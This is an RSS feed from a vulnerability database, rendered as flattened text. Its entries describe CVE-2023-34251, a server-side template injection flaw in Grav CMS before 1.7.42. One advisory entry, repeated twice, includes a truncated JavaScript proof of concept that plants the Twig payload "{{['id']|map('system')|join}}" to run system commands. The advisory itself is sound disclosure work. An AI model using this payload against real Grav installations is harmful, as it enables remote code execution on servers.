https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Fri, 23 Oct 2026 16:48:58 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-207745 EUVD-2026-207745 https://cve.radiocsirt.org/vuln/euvd-2026-207745 https://cve.radiocsirt.org/vuln/fkie_cve-2023-34251 <p>Grav is a flat-file content management system. Versions prior to 1.7.42 are vulnerable to server side template injection. Remote code execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. Version 1.7.42 contains a fix for this issue.</p> <p>Grav is a flat-file content management system. Versions prior to 1.7.42 are vulnerable to server side template injection. Remote code execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. Version 1.7.42 contains a fix for this issue.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2023-34251 https://cve.radiocsirt.org/vuln/ghsa-f9jf-4cp4-4fq5 <p><strong>Affected:</strong> Packagist: getgrav/grav</p> <p>### Summary I found an RCE(Remote Code Execution) by SSTI in the admin screen.</p> <p>### Details Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.</p> <p>### PoC 1. Log in to the administrator screen and access the edit screen of the default page &#34;Typography&#34;. (`http://127.0.0.1:8000/admin/pages/typography`) 2. Open the browser&#39;s console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed. ```js (async () =&gt; { const nonce = document.querySelector(&#34;input[name=admin-nonce]&#34;).value; const id = document.querySelector(&#34;input[name=__unique_form_id__]&#34;).value;</p> <p>const payload = &#34;{{[&#39;id&#39;]|map(&#39;system&#39;)|join}}&#34;; // SSTI Payload</p> <p>const params = new URLSearchParams(); params.append(&#34;task&#34;, &#34;save&#34;); params.append(&#34;data[header][title]&#34;, &#34;poc&#34;); params.append(&#34;data[content]&#34;, payload); params.append(&#34;data[folder]&#34;, &#34;poc&#34;); params.append(&#34;data[route]&#34;, &#34;&#34;); params.append(&#34;data[name]&#34;, &#34;default&#34;); params.append(&#34;data[header][body_classes]&#34;, &#34;&#34;); params.append(&#34;data[ordering]&#34;, 1); params.append(&#34;data[order]&#34;, &#34;&#34;); params.append(&#34;toggleable_data[header][process]&#34;, &#34;on&#34;); params.append(&#34;data[header][process][twig]&#34;, 1); params.append(&#34;data[header][order_by]&#34;, &#34;&#34;); params.append(&#34;data[header][order_manual]&#34;, &#34;&#34;); params.append(&#34;data[blueprint&#34;, &#34;&#34;); params.append(&#34;data[lang]&#34;, &#34;&#34;); params.append(&#34;_post_entries_save&#34;, &#34;edit&#34;);…</p> <p><strong>Affected:</strong> Packagist: getgrav/grav</p> <p>### Summary I found an RCE(Remote Code Execution) by SSTI in the admin screen.</p> <p>### Details Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.</p> <p>### PoC 1. Log in to the administrator screen and access the edit screen of the default page &#34;Typography&#34;. (`http://127.0.0.1:8000/admin/pages/typography`) 2. Open the browser&#39;s console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed. ```js (async () =&gt; { const nonce = document.querySelector(&#34;input[name=admin-nonce]&#34;).value; const id = document.querySelector(&#34;input[name=__unique_form_id__]&#34;).value;</p> <p>const payload = &#34;{{[&#39;id&#39;]|map(&#39;system&#39;)|join}}&#34;; // SSTI Payload</p> <p>const params = new URLSearchParams(); params.append(&#34;task&#34;, &#34;save&#34;); params.append(&#34;data[header][title]&#34;, &#34;poc&#34;); params.append(&#34;data[content]&#34;, payload); params.append(&#34;data[folder]&#34;, &#34;poc&#34;); params.append(&#34;data[route]&#34;, &#34;&#34;); params.append(&#34;data[name]&#34;, &#34;default&#34;); params.append(&#34;data[header][body_classes]&#34;, &#34;&#34;); params.append(&#34;data[ordering]&#34;, 1); params.append(&#34;data[order]&#34;, &#34;&#34;); params.append(&#34;toggleable_data[header][process]&#34;, &#34;on&#34;); params.append(&#34;data[header][process][twig]&#34;, 1); params.append(&#34;data[header][order_by]&#34;, &#34;&#34;); params.append(&#34;data[header][order_manual]&#34;, &#34;&#34;); params.append(&#34;data[blueprint&#34;, &#34;&#34;); params.append(&#34;data[lang]&#34;, &#34;&#34;); params.append(&#34;_post_entries_save&#34;, &#34;edit&#34;);…</p> https://cve.radiocsirt.org/vuln/ghsa-f9jf-4cp4-4fq5 https://cve.radiocsirt.org/vuln/gsd-2023-34251 gsd-2023-34251 https://cve.radiocsirt.org/vuln/gsd-2023-34251